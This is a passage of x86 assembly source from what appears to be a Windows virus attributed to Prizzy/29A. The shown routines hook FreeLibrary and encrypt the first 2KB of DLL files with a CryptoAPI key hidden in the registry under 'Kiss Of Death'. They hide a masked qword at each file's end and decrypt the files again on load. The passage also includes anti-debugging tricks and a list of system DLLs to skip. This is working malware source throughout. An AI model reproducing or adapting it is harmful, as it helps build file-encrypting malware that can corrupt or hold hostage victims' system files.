|
|||
|
;
|
|||
|
__cf_handle dd 00000000h ;library's handle
|
|||
|
__cf_FSize dd 00000000h ;library's file size
|
|||
|
__cf_Memory dd 00000000h ;library's 2Kb body
|
|||
|
__cf_header dw 0000h ;library's signature
|
|||
|
__cf_EncodeSize dd 00000000h ;real encoded size
|
|||
|
__cf_QwordCRC64 dq 00h ;Qword CRC64
|
|||
|
__cf_QWORD dq 00h ;bad WinAPI function
|
|||
|
;
|
|||
|
crypt_file:
|
|||
|
|
|||
|
; don't call this function once again in actual time
|
|||
|
mov dword ptr [ebp+crypto_thread],00000000h
|
|||
|
|
|||
|
; check unCrypted DLLs
|
|||
|
mov ebx,[ebp+filename_ptr]
|
|||
|
call crypt_DLL_check
|
|||
|
jc __cf_finish
|
|||
|
|
|||
|
; check file, I don't wanna risk :) ["E:\XXXX\" directory]
|
|||
|
IFDEF DEBUG
|
|||
|
cmp dword ptr [ebp+filename],'X\:E'
|
|||
|
jnz __cf_finish
|
|||
|
cmp dword ptr [ebp+filename+4],'\XXX'
|
|||
|
jnz __cf_finish
|
|||
|
ENDIF
|
|||
|
|
|||
|
; open DLL file
|
|||
|
mov edx,[ebp+filename_ptr]
|
|||
|
call __MyOpenFile
|
|||
|
jc __cf_finish
|
|||
|
mov [ebp+__cf_handle],eax
|
|||
|
|
|||
|
; read its signature
|
|||
|
lea edx,[ebp+__cf_header] ;destination place
|
|||
|
mov ecx,00000002h ;bytes to read
|
|||
|
xor esi,esi ;file position
|
|||
|
mov ebx,[ebp+__cf_handle]
|
|||
|
call __MyReadFile
|
|||
|
jc __cf_fClose
|
|||
|
|
|||
|
; check its signature
|
|||
|
cmp word ptr [ebp+__cf_header],'ZM'
|
|||
|
jnz __cf_fClose
|
|||
|
|
|||
|
; get its file size
|
|||
|
mov ebx,[ebp+__cf_handle]
|
|||
|
call __MyGetFileSize
|
|||
|
mov [ebp+__cf_FSize],eax
|
|||
|
|
|||
|
cmp eax,5000 ;lesser then 5Kb ?
|
|||
|
jb __cf_fClose
|
|||
|
|
|||
|
; allocate memory for 2 kilobytes
|
|||
|
mov eax,2008
|
|||
|
call malloc
|
|||
|
mov [ebp+__cf_Memory],eax
|
|||
|
|
|||
|
; read two kilobytes
|
|||
|
mov edx,[ebp+__cf_Memory] ;destination place
|
|||
|
mov ecx,2008 ;number of bytes to read
|
|||
|
xor esi,esi ;file position
|
|||
|
mov ebx,[ebp+__cf_handle] ;file handle
|
|||
|
call __MyReadFile
|
|||
|
jc __cf_dealloc
|
|||
|
|
|||
|
; get PE/NE signature
|
|||
|
mov eax,[ebp+__cf_Memory]
|
|||
|
add eax,[eax.MZ_lfanew]
|
|||
|
cmp word ptr [eax],'EP' ;no PE sign ?
|
|||
|
jnz __cf_dealloc
|
|||
|
|
|||
|
; encrypt 1992 bytes (next 8 bytes will be with last flag)
|
|||
|
mov [ebp+__cf_EncodeSize],1992
|
|||
|
push 2000 ;total bytes to encrypt
|
|||
|
lea eax,[ebp+__cf_EncodeSize]
|
|||
|
push eax ;real encoded size
|
|||
|
push [ebp+__cf_Memory] ;mem address
|
|||
|
push 00000000h ;flags
|
|||
|
push 00000000h ;last block ?
|
|||
|
push 00000000h ;hash
|
|||
|
push [ebp+__clk_hKey] ;imported key
|
|||
|
call [ebp+ddCryptEncrypt]
|
|||
|
or eax,eax
|
|||
|
jz __cf_dealloc
|
|||
|
|
|||
|
; save next two dwords to copro reg
|
|||
|
mov eax,[ebp+__cf_Memory]
|
|||
|
fsave [ebp+copro_nl_buffer] ;save all regz & flagz
|
|||
|
fild qword ptr [eax+000007D0h]
|
|||
|
fistp qword ptr [ebp+__cf_QWORD]
|
|||
|
frstor [ebp+copro_nl_buffer] ;restore all regz & flagz
|
|||
|
|
|||
|
; encode next 8 bytes
|
|||
|
mov [ebp+__cf_EncodeSize],8
|
|||
|
push 2000 ;total bytes to encrypt
|
|||
|
lea eax,[ebp+__cf_EncodeSize]
|
|||
|
push eax ;real encoded size
|
|||
|
mov eax,[ebp+__cf_Memory]
|
|||
|
add eax,1992
|
|||
|
push eax ;mem address
|
|||
|
push 00000000h ;flags
|
|||
|
push 00000001h ;last block ?
|
|||
|
push 00000000h ;hash ?
|
|||
|
push [ebp+__clk_hKey] ;imported key
|
|||
|
call [ebp+ddCryptEncrypt]
|
|||
|
or eax,eax
|
|||
|
jz __cf_dealloc
|
|||
|
|
|||
|
; save encypted data, what a dream {:-)
|
|||
|
mov edx,[ebp+__cf_Memory]
|
|||
|
mov ecx,2008 ;number of bytes to write
|
|||
|
xor esi,esi
|
|||
|
mov ebx,[ebp+__cf_handle]
|
|||
|
call __MyWriteFile
|
|||
|
jc __cf_dealloc
|
|||
|
|
|||
|
; get one DWORD from key and lose that value :)
|
|||
|
lea eax,[ebp+__cf_QWORD]
|
|||
|
mov ecx,00000008h ;QWORDs length
|
|||
|
push eax ;buffer position
|
|||
|
mov esi,eax ;start of CRC64 calculating
|
|||
|
call __bruteCRC64 ;wow! get CRC64 for BlobKey
|
|||
|
mov dword ptr [ebp+__cf_QwordCRC64],eax
|
|||
|
mov dword ptr [ebp+__cf_QwordCRC64+00000004h],edx
|
|||
|
pop esi
|
|||
|
xor ebx,ebx
|
|||
|
mov [esi],ebx ;clear that value :)
|
|||
|
|
|||
|
; write replaced QWORD on the end of file
|
|||
|
lea edx,[ebp+__cf_QwordCRC64]
|
|||
|
mov ecx,00000010h
|
|||
|
mov esi,[ebp+__cf_FSize]
|
|||
|
mov ebx,[ebp+__cf_handle]
|
|||
|
call __MyWriteFile
|
|||
|
jc __cf_dealloc
|
|||
|
|
|||
|
__cf_dealloc:
|
|||
|
mov eax,[ebp+__cf_Memory]
|
|||
|
call mdealloc
|
|||
|
__cf_fClose:
|
|||
|
mov ebx,[ebp+__cf_handle]
|
|||
|
call __MyCloseFile
|
|||
|
|
|||
|
__cf_finish:
|
|||
|
jmp __ct_finish ;go back to thread
|
|||
|
|
|||
|
;<3B><>Ĵ function to decrypt DLL file <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
|||
|
;---------------------------------------------------------
|
|||
|
;This function decrypts DLL file by WinAPI cryptography f.
|
|||
|
;
|
|||
|
;Behaviour:
|
|||
|
; * load SIMPLE key from registers "Kiss Of Death" key :)
|
|||
|
; * open DLL and read 2008 bytes, check 'MZ' if it's encr.
|
|||
|
; * read 16 bytes, calculate right value by CRC64
|
|||
|
; * decrypt the first part
|
|||
|
; * decrypt the second part of DLL file body
|
|||
|
; * replace de-CRC64 bytes (eight bytes)
|
|||
|
; * truncate files - 16 bytes
|
|||
|
;
|
|||
|
;
|
|||
|
; input: filename_ptr ... DLL file name
|
|||
|
;
|
|||
|
__df_handle dd 00000000h ;library's handle
|
|||
|
__df_header dw 0000h ;library's signature
|
|||
|
__df_FSize dd 00000000h ;library's file size
|
|||
|
__df_memory dd 00000000h ;library's memory
|
|||
|
__df_decSize dd 00000000h ;decode size
|
|||
|
;
|
|||
|
__df_CRC64 dq 00h ;CRC64 of lost qword
|
|||
|
__df_QWORD dq 00h ;WinAPI lost qword
|
|||
|
;
|
|||
|
decrypt_file:
|
|||
|
|
|||
|
; don't call this function once again in actual time
|
|||
|
mov dword ptr [ebp+crypto_thread],00000000h
|
|||
|
|
|||
|
; check unCrypted DLLs
|
|||
|
mov ebx,[ebp+filename_ptr]
|
|||
|
call crypt_DLL_check
|
|||
|
jc __df_finish
|
|||
|
|
|||
|
; check file, I don't wanna risk :) ["E:\XXXX\" directory]
|
|||
|
IFDEF DEBUG
|
|||
|
mov edx,[ebp+filename_ptr]
|
|||
|
cmp dword ptr [edx],'X\:E'
|
|||
|
jnz __df_finish
|
|||
|
cmp dword ptr [edx+00000004h],'\XXX'
|
|||
|
jnz __df_finish
|
|||
|
ENDIF
|
|||
|
|
|||
|
; open DLL file
|
|||
|
mov edx,[ebp+filename_ptr]
|
|||
|
call __MyOpenFile
|
|||
|
jc __df_finish
|
|||
|
mov [ebp+__df_handle],eax
|
|||
|
|
|||
|
; read two bytes and check whether library is crypted
|
|||
|
lea edx,[ebp+__df_header]
|
|||
|
mov ecx,00000002h ;two bytes to read
|
|||
|
xor esi,esi ;file position
|
|||
|
mov ebx,[ebp+__df_handle]
|
|||
|
call __MyReadFile
|
|||
|
jc __df_finish
|
|||
|
|
|||
|
cmp [ebp+__df_header],'ZM' ;check library signature
|
|||
|
jz __df_fClose
|
|||
|
|
|||
|
; get library file size
|
|||
|
mov ebx,[ebp+__df_handle]
|
|||
|
call __MyGetFileSize
|
|||
|
mov [ebp+__df_FSize],eax
|
|||
|
|
|||
|
cmp eax,5000 ;lesser then 5Kb ?
|
|||
|
jb __df_fClose
|
|||
|
|
|||
|
; load CRC64 and WinAPI lost qword
|
|||
|
lea edx,[ebp+__df_CRC64]
|
|||
|
mov ecx,00000010h
|
|||
|
mov esi,[ebp+__df_FSize] ;filesize
|
|||
|
sub esi,ecx ; - 10h (2*qword)
|
|||
|
mov ebx,[ebp+__df_handle]
|
|||
|
call __MyReadFile
|
|||
|
jc __df_fClose
|
|||
|
|
|||
|
; get real value from CRC64, by "brute-CRC64", i'm perfect !!
|
|||
|
lea esi,[ebp+__df_QWORD] ;input buffer
|
|||
|
mov ecx,00000008h ;lenght of buffer
|
|||
|
mov eax,dword ptr [ebp+__df_CRC64]
|
|||
|
mov edx,dword ptr [ebp+__df_CRC64+00000004h]
|
|||
|
call __get_bruteCRC64
|
|||
|
|
|||
|
; allocate memory for 2Kb
|
|||
|
mov eax,2008
|
|||
|
call malloc
|
|||
|
mov [ebp+__df_memory],eax
|
|||
|
|
|||
|
; read crypted bytes :)
|
|||
|
mov edx,[ebp+__df_memory] ;destination buffer
|
|||
|
mov ecx,2008 ;only 2Kb
|
|||
|
xor esi,esi
|
|||
|
mov ebx,[ebp+__df_handle]
|
|||
|
call __MyReadFile
|
|||
|
jc __df_dealloc
|
|||
|
|
|||
|
; decrypt the first part of DLL's body
|
|||
|
lea eax,[ebp+__df_decSize]
|
|||
|
mov dword ptr [eax],1992 ;number of bytes to decrypt
|
|||
|
push eax
|
|||
|
push [ebp+__df_memory] ;address of buffer
|
|||
|
push 00000000h ;flags
|
|||
|
push 00000000h ;it isn't last block
|
|||
|
push 00000000h ;hash
|
|||
|
push [ebp+__clk_hKey] ;imported key
|
|||
|
call [ebp+ddCryptDecrypt]
|
|||
|
or eax,eax
|
|||
|
jz __df_dealloc
|
|||
|
|
|||
|
; decrypt the second part of DLL's body
|
|||
|
lea eax,[ebp+__df_decSize]
|
|||
|
mov dword ptr [eax],8*2 ;number of bytes to decrypt
|
|||
|
push eax
|
|||
|
mov eax,[ebp+__df_memory]
|
|||
|
add eax,1992
|
|||
|
push eax ;address of buffer
|
|||
|
push 00000000h ;flags
|
|||
|
push 00000001h ;is is last block
|
|||
|
push 00000000h ;hash
|
|||
|
push [ebp+__clk_hKey] ;imported key
|
|||
|
call [ebp+ddCryptDecrypt]
|
|||
|
or eax,eax
|
|||
|
jz __df_dealloc
|
|||
|
|
|||
|
; restore re-written bytes by WinAPI :(
|
|||
|
mov eax,[ebp+__df_memory]
|
|||
|
fsave [ebp+copro_nl_buffer] ;save all regz & flagz
|
|||
|
fild qword ptr [ebp+__df_QWORD]
|
|||
|
fistp qword ptr [eax+2000]
|
|||
|
frstor [ebp+copro_nl_buffer] ;restore all regz & flagz
|
|||
|
|
|||
|
; write the first 2008 bytes to DLL :)
|
|||
|
mov edx,[ebp+__df_memory]
|
|||
|
mov ecx,2008
|
|||
|
xor esi,esi
|
|||
|
mov ebx,[ebp+__df_handle]
|
|||
|
call __MyWriteFile
|
|||
|
jc __df_dealloc
|
|||
|
|
|||
|
; truncate last sixteen bytes
|
|||
|
push 00000000h
|
|||
|
push 00000000h
|
|||
|
mov eax,[ebp+__df_FSize]
|
|||
|
sub eax,00000010h
|
|||
|
push eax ;new "End Of File"
|
|||
|
push [ebp+__df_handle]
|
|||
|
call [ebp+ddSetFilePointer]
|
|||
|
cmp eax,-1
|
|||
|
jz __df_dealloc
|
|||
|
|
|||
|
push [ebp+__df_handle] ;truncate last 16 bytes
|
|||
|
call [ebp+ddSetEndOfFile]
|
|||
|
|
|||
|
__df_dealloc:
|
|||
|
mov eax,[ebp+__df_memory]
|
|||
|
call mdealloc
|
|||
|
__df_fClose:
|
|||
|
mov ebx,[ebp+__df_handle]
|
|||
|
call __MyCloseFile
|
|||
|
|
|||
|
__df_finish:
|
|||
|
jmp __ct_finish ;go back to thread
|
|||
|
|
|||
|
;<3B><>Ĵ function to get cryptography key <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
|||
|
;---------------------------------------------------------
|
|||
|
;This function opens register to get SIMPLE key.
|
|||
|
;
|
|||
|
;Behaviour:
|
|||
|
; * open register folder "\...\Cryptography\Prizzy/29A"
|
|||
|
; * read SIMPLE key from "Kiss Of Death"
|
|||
|
; * get CSP and import SIMPLE key by WinAPI functions
|
|||
|
; * close register handle, return ImportedKey handle
|
|||
|
;
|
|||
|
;
|
|||
|
; input: none
|
|||
|
; output: EAX ... imported key (if error, EAX=0)
|
|||
|
;
|
|||
|
__clk_regHan dd 00000000h ;register handle
|
|||
|
__clk_regFlag dd 00000000h ;register flags
|
|||
|
__clk_memory dd 00000000h ;key's memory place
|
|||
|
__clk_sim_len dd 00000000h ;simple key length
|
|||
|
__clk_provider dd 00000000h ;CSP provider
|
|||
|
__clk_hKey dd 00000000h ;imported key
|
|||
|
;
|
|||
|
crypt_loadKey:
|
|||
|
|
|||
|
; don't call this function once again in actual time
|
|||
|
mov dword ptr [ebp+crypto_thread],00000000h
|
|||
|
|
|||
|
; get delta offset
|
|||
|
call get_base_ebp
|
|||
|
|
|||
|
; has key been loaded ?
|
|||
|
cmp dword ptr [ebp+crypto_loadKey],00000000h
|
|||
|
jnz __clk_finish
|
|||
|
|
|||
|
xor eax,eax
|
|||
|
mov [ebp+__clk_hKey],eax
|
|||
|
|
|||
|
; open register folder
|
|||
|
lea eax,[ebp+__clk_regHan]
|
|||
|
mov ecx,80000001h ;HKEY_CURRENT_USER
|
|||
|
lea esi,[ebp+crypto_Register]
|
|||
|
call __regOpen
|
|||
|
jc __clk_finish
|
|||
|
|
|||
|
; allocate memory for SIMPLE key
|
|||
|
mov eax,00000100h
|
|||
|
call malloc
|
|||
|
mov [ebp+__clk_memory],eax
|
|||
|
|
|||
|
; load "Kiss Of Death" item, it is SIMPLE key...
|
|||
|
lea eax,[ebp+__clk_sim_len]
|
|||
|
mov dword ptr [eax],00000100h
|
|||
|
push eax ;address of data buffer size
|
|||
|
push [ebp+__clk_memory] ;address of data buffer
|
|||
|
mov eax,00000003h
|
|||
|
lea ebx,[ebp+__clk_regFlag]
|
|||
|
mov [ebx],eax
|
|||
|
push ebx ;REG_BINARY flag
|
|||
|
push 00000000h ;reserved
|
|||
|
lea eax,[ebp+crypto_RegFlag]
|
|||
|
push eax ;name of value
|
|||
|
push [ebp+__clk_regHan]
|
|||
|
call [ebp+ddRegQueryValueExA]
|
|||
|
or eax,eax
|
|||
|
jnz __clk_close_key
|
|||
|
|
|||
|
; get CPS provider handle
|
|||
|
push 00000000h ;Flags
|
|||
|
push 00000001h ;PROV_RSA_FULL
|
|||
|
push 00000000h ;provider name
|
|||
|
lea eax,[ebp+crypto_KeyName]
|
|||
|
push eax ;my special key
|
|||
|
lea eax,[ebp+__clk_provider]
|
|||
|
push eax ;CSP provider
|
|||
|
call [ebp+ddCryptAcquireContextA]
|
|||
|
or eax,eax ;does key exist ?
|
|||
|
jz __clk_close_key
|
|||
|
|
|||
|
; import SIMPLE key
|
|||
|
lea eax,[ebp+__clk_hKey]
|
|||
|
push eax ;imported key
|
|||
|
push 00000000h ;flags
|
|||
|
push 00000000h
|
|||
|
push [ebp+__clk_sim_len] ;length of SIMPLE key
|
|||
|
push [ebp+__clk_memory] ;SIMPLE key
|
|||
|
push [ebp+__clk_provider]
|
|||
|
call [ebp+ddCryptImportKey]
|
|||
|
|
|||
|
__clk_close_key:
|
|||
|
push [ebp+__clk_regHan]
|
|||
|
call [ebp+ddRegCloseKey]
|
|||
|
__clk_dealloc:
|
|||
|
mov eax,[ebp+__clk_memory]
|
|||
|
call mdealloc
|
|||
|
|
|||
|
mov [ebp+crypto_loadKey],'!A92'
|
|||
|
|
|||
|
__clk_finish:
|
|||
|
mov eax,[ebp+__clk_hKey] ;imported key (0=error)
|
|||
|
jmp __ct_finish ;back to thread
|
|||
|
|
|||
|
;<3B><>Ĵ do NOT crypted DLL checking - name check and registry <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
|||
|
;---------------------------------------------------------
|
|||
|
;This function checks whether DLL come under to the avoid
|
|||
|
;table. Heh, what does it mean ? Why some DLLs can NOT be
|
|||
|
;crypted ? Well, I hook all file operations from kernel32
|
|||
|
;memory when I'll be actived but till then system 'll open
|
|||
|
;some libraries like KERNEL32.DLL, USER32.DLL ... and then
|
|||
|
;it is my turn to hook, to check. This is that problem.
|
|||
|
;
|
|||
|
__cdc_regHandle dd 00000000h ;register handle
|
|||
|
__cdc_valuesLen dd 00000000h ;MaxValueLen
|
|||
|
__cdc_values dd 00000000h ;number of values
|
|||
|
__cdc_buffSize dd 00000000h ;buffer size
|
|||
|
__cdc_nRegistry dd 00000000h ;number of r. classes
|
|||
|
__cdc_memory dd 00000000h ;namez
|
|||
|
;
|
|||
|
; input: EBX ... filename
|
|||
|
;
|
|||
|
crypt_DLL_check:
|
|||
|
|
|||
|
; save all registers
|
|||
|
pusha
|
|||
|
|
|||
|
; check from our table
|
|||
|
lea esi,[ebp+crypto_unFiles]
|
|||
|
call validate_name ;is it do NOT crypt file ?
|
|||
|
jc __cdc_failed
|
|||
|
|
|||
|
mov [ebp+__cdc_nRegistry], \
|
|||
|
(crypto_unReg_E - crypto_unReg) / 4 - 1
|
|||
|
|
|||
|
; open registry key
|
|||
|
__cdc_next_class:
|
|||
|
lea eax,[ebp+__cdc_regHandle]
|
|||
|
mov ecx,80000002h ;HKEY_LOCAL_MACHINE
|
|||
|
mov esi,[ebp+__cdc_nRegistry]
|
|||
|
mov esi,dword ptr [ebp+crypto_unReg+esi*04h]
|
|||
|
add esi,ebp
|
|||
|
call __regOpen
|
|||
|
jc __cdc_finish ;failed ?
|
|||
|
|
|||
|
; read number of values
|
|||
|
xor eax,eax
|
|||
|
push eax eax ;LWriteTime, SecDescriptor
|
|||
|
lea edx,[ebp+__cdc_valuesLen]
|
|||
|
push edx eax ;MaxValueLen, MaxValueNameLen
|
|||
|
lea edx,[ebp+__cdc_values]
|
|||
|
push edx eax eax eax eax eax eax
|
|||
|
push [ebp+__cdc_regHandle]
|
|||
|
call [ebp+ddRegQueryInfoKeyA]
|
|||
|
or eax,eax ;failed ?
|
|||
|
jnz __cdc_regClose
|
|||
|
|
|||
|
; allocate memory
|
|||
|
mov eax,[ebp+__cdc_values]
|
|||
|
imul eax,[ebp+__cdc_valuesLen]
|
|||
|
mov [ebp+__cdc_buffSize],eax
|
|||
|
inc eax ;double zero char
|
|||
|
call malloc
|
|||
|
mov [ebp+__cdc_memory],eax
|
|||
|
|
|||
|
; read all namez
|
|||
|
mov esi,[ebp+__cdc_memory] ;pointer to store value name
|
|||
|
__cdc_repeat:
|
|||
|
mov ecx,00000005h ;five layers
|
|||
|
dec dword ptr [ebp+__cdc_values] ;next value index
|
|||
|
__cdc_once_again:
|
|||
|
lea eax,[ebp+__cdc_valuesLen] ;length of value name
|
|||
|
push eax ;buffer's size
|
|||
|
push esi ;value name buffer
|
|||
|
push 00000000h ;type of value entry
|
|||
|
push 00000000h ;reserved
|
|||
|
call $+9
|
|||
|
dd ? ;cbValueName
|
|||
|
push 00000000h ;value name
|
|||
|
push [ebp+__cdc_values] ;index of value to retrieve
|
|||
|
push [ebp+__cdc_regHandle]
|
|||
|
call [ebp+ddRegEnumValueA] ;read index entry
|
|||
|
cmp eax,000000EAh ;ERROR_MORE_DATA
|
|||
|
jnz __cdc_check_next
|
|||
|
loop __cdc_once_again ;try to read that once again
|
|||
|
__cdc_check_next:
|
|||
|
push [ebp+__cdc_valuesLen] ;number of characters
|
|||
|
push esi ;filename
|
|||
|
call [ebp+ddCharUpperBuffA] ;convert to uppercase
|
|||
|
add esi,[ebp+__cdc_valuesLen] ;next entry in memory buf
|
|||
|
cmp dword ptr [ebp+__cdc_values],00000000h
|
|||
|
jnz __cdc_repeat
|
|||
|
mov byte ptr [esi],01h ;end char status
|
|||
|
mov esi,[ebp+__cdc_memory] ;avoid table
|
|||
|
call validate_name ;EBX is filled
|
|||
|
pushf ;ehm :)
|
|||
|
|
|||
|
; close register class
|
|||
|
push [ebp+__cdc_regHandle]
|
|||
|
call [ebp+ddRegCloseKey]
|
|||
|
|
|||
|
; deallocate memory
|
|||
|
mov eax,[ebp+__cdc_memory]
|
|||
|
call mdealloc
|
|||
|
|
|||
|
; next register key
|
|||
|
popf ;ehm :)
|
|||
|
jc __cdc_failed
|
|||
|
cmp dword ptr [ebp+__cdc_nRegistry],00000000h
|
|||
|
jz __cdc_finish
|
|||
|
dec dword ptr [ebp+__cdc_nRegistry]
|
|||
|
jmp __cdc_next_class
|
|||
|
|
|||
|
; restore all registers
|
|||
|
__cdc_finish:
|
|||
|
test al,0F9h ;hidden STC instruction
|
|||
|
__cdc_failed equ $-1
|
|||
|
popa
|
|||
|
ret
|
|||
|
|
|||
|
; close register class
|
|||
|
__cdc_regClose:
|
|||
|
push [ebp+__cdc_regHandle]
|
|||
|
call [ebp+ddRegCloseKey]
|
|||
|
jmp __cdc_finish
|
|||
|
|
|||
|
;<3B><>Ĵ cryptography thread <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
|||
|
;---------------------------------------------------------
|
|||
|
;This is true Cryptography thread which can run some common
|
|||
|
;functions, because crypto functions allocated memory ain't
|
|||
|
;shared, so I must use this thread.
|
|||
|
;
|
|||
|
; input:
|
|||
|
; crypto_thread ... CT_LOADKEY - crypt_loadKey func
|
|||
|
; ... CT_CRYPTFILE - crypt_file function
|
|||
|
; ... CT_DECRYPTFILE - decrypt_file function
|
|||
|
;
|
|||
|
; output:
|
|||
|
; crypto_thread_err ... lastError flag
|
|||
|
;
|
|||
|
crypt_thread:
|
|||
|
|
|||
|
; save all registers & get delta offset
|
|||
|
pusha
|
|||
|
call get_base_ebp
|
|||
|
|
|||
|
; get thread action
|
|||
|
mov eax,[ebp+crypto_thread]
|
|||
|
cmp eax,CT_LOADKEY ;crypt_loadKey
|
|||
|
jz crypt_loadKey
|
|||
|
cmp eax,CT_CRYPTFILE ;crypt_file
|
|||
|
jz crypt_file
|
|||
|
cmp eax,CT_DECRYPTFILE ;decrypt_file
|
|||
|
jz decrypt_file
|
|||
|
jmp __ct_finish_all ;bad input parameter
|
|||
|
|
|||
|
; set (C)arry and EAX
|
|||
|
__ct_finish:
|
|||
|
mov [ebp+crypto_thread_err],eax
|
|||
|
|
|||
|
; restore all registers
|
|||
|
__ct_finish_all:
|
|||
|
push 2 ;wait for a while
|
|||
|
call [ebp+ddSleep]
|
|||
|
|
|||
|
popa
|
|||
|
jmp crypt_thread
|
|||
|
|
|||
|
;<3B><>Ĵ get FileName of library <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
|||
|
;---------------------------------------------------------
|
|||
|
;This function is called from "FreeLibrary" function. Be-
|
|||
|
;cause FL parameter is place in memory, I have to get its
|
|||
|
;filename to crypt that.
|
|||
|
;
|
|||
|
;Behaviour:
|
|||
|
; * get filename from handle (FreeLibrary parameter)
|
|||
|
; * check DLL name (might I crypt u ?)
|
|||
|
; * run FreeLibrary function (file was closed)
|
|||
|
; * get process where I created "crypto thread"
|
|||
|
; * crypt file (by thread: CT_CRYPTFILE flag)
|
|||
|
; * go back (two ways: success OR failed)
|
|||
|
;
|
|||
|
crypt_get_library:
|
|||
|
|
|||
|
; save all registers
|
|||
|
pusha
|
|||
|
|
|||
|
; get FileName of the module
|
|||
|
push filename_size
|
|||
|
lea eax,[ebp+filename]
|
|||
|
mov [ebp+filename_ptr],eax
|
|||
|
push eax ;input parameter for Free-
|
|||
|
push dword ptr [esp+00000054h] ;Library function
|
|||
|
call [ebp+ddGetModuleFileNameA]
|
|||
|
|
|||
|
; check whether I can crypt that file
|
|||
|
mov ebx,[ebp+filename_ptr]
|
|||
|
call crypt_DLL_check
|
|||
|
|
|||
|
__final_SoftICE_2:
|
|||
|
nop
|
|||
|
nop
|
|||
|
; int 4 ;final SoftICE breakpoint
|
|||
|
|
|||
|
jc __cgl_finish
|
|||
|
|
|||
|
; free library from memory
|
|||
|
popa ;ehm :)
|
|||
|
popf
|
|||
|
popa
|
|||
|
push dword ptr [esp+00000008h]
|
|||
|
mov eax,[esp+00000004h]
|
|||
|
call [eax+1] ;FreeLibrary function, huh?
|
|||
|
pusha
|
|||
|
|
|||
|
; crypt that file
|
|||
|
call get_base_ebp ;damn bug !
|
|||
|
cmp [ebp+crypto_thread_err],'!A92'
|
|||
|
jz __cgl_finish2 ;other process ?
|
|||
|
mov [ebp+crypto_thread],CT_CRYPTFILE
|
|||
|
mov [ebp+crypto_thread_err],'!A92'
|
|||
|
push [ebp+crypto_mainProcId] ;active process where I cre-
|
|||
|
push 00000000h ;ated my thread, I cannot
|
|||
|
push 00000001h ;active my thread from other
|
|||
|
call [ebp+ddOpenProcess] ;process then where was cre-
|
|||
|
push eax ;ated
|
|||
|
__cgl_cCryptFile:
|
|||
|
push 50 ;active crypto thread
|
|||
|
push dword ptr [esp+00000004h]
|
|||
|
call [ebp+ddWaitForSingleObject]
|
|||
|
cmp [ebp+crypto_thread_err],'!A92'
|
|||
|
jz __cgl_cCryptFile ;crypto thread must crypt DLL
|
|||
|
call [ebp+ddCloseHandle]
|
|||
|
|
|||
|
; restore all registers
|
|||
|
__cgl_finish2:
|
|||
|
popa
|
|||
|
add esp,00000004h
|
|||
|
ret 4 ;go back, my lord !
|
|||
|
|
|||
|
__cgl_finish:
|
|||
|
popa
|
|||
|
jmp __hif_finish
|
|||
|
|
|||
|
;<3B><>Ĵ common register functions <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
|||
|
__regOpen: ; open certain register class
|
|||
|
; input:
|
|||
|
; EAX ... address of register handle
|
|||
|
; ECX ... reg (HKEY_CURRENT_USER, HKEY_*, ...)
|
|||
|
; ESI ... register class
|
|||
|
; output:
|
|||
|
; (C)flags
|
|||
|
; EAX ... is NOT modified
|
|||
|
;
|
|||
|
|
|||
|
pusha ;save all registers
|
|||
|
push eax ;address of register handle
|
|||
|
push 000F003Fh ;flag: KEY_ALL_ACCESS
|
|||
|
push 00000000h ;reserved
|
|||
|
push esi ;register class
|
|||
|
push ecx ;reg id
|
|||
|
call [ebp+ddRegOpenKeyExA]
|
|||
|
or eax,eax ;fault ?
|
|||
|
popa ;restore registers
|
|||
|
jnz __cReg_fault
|
|||
|
test al,0F9h ;hidden STC instruction
|
|||
|
__cReg_fault equ $-1
|
|||
|
ret
|
|||
|
|
|||
|
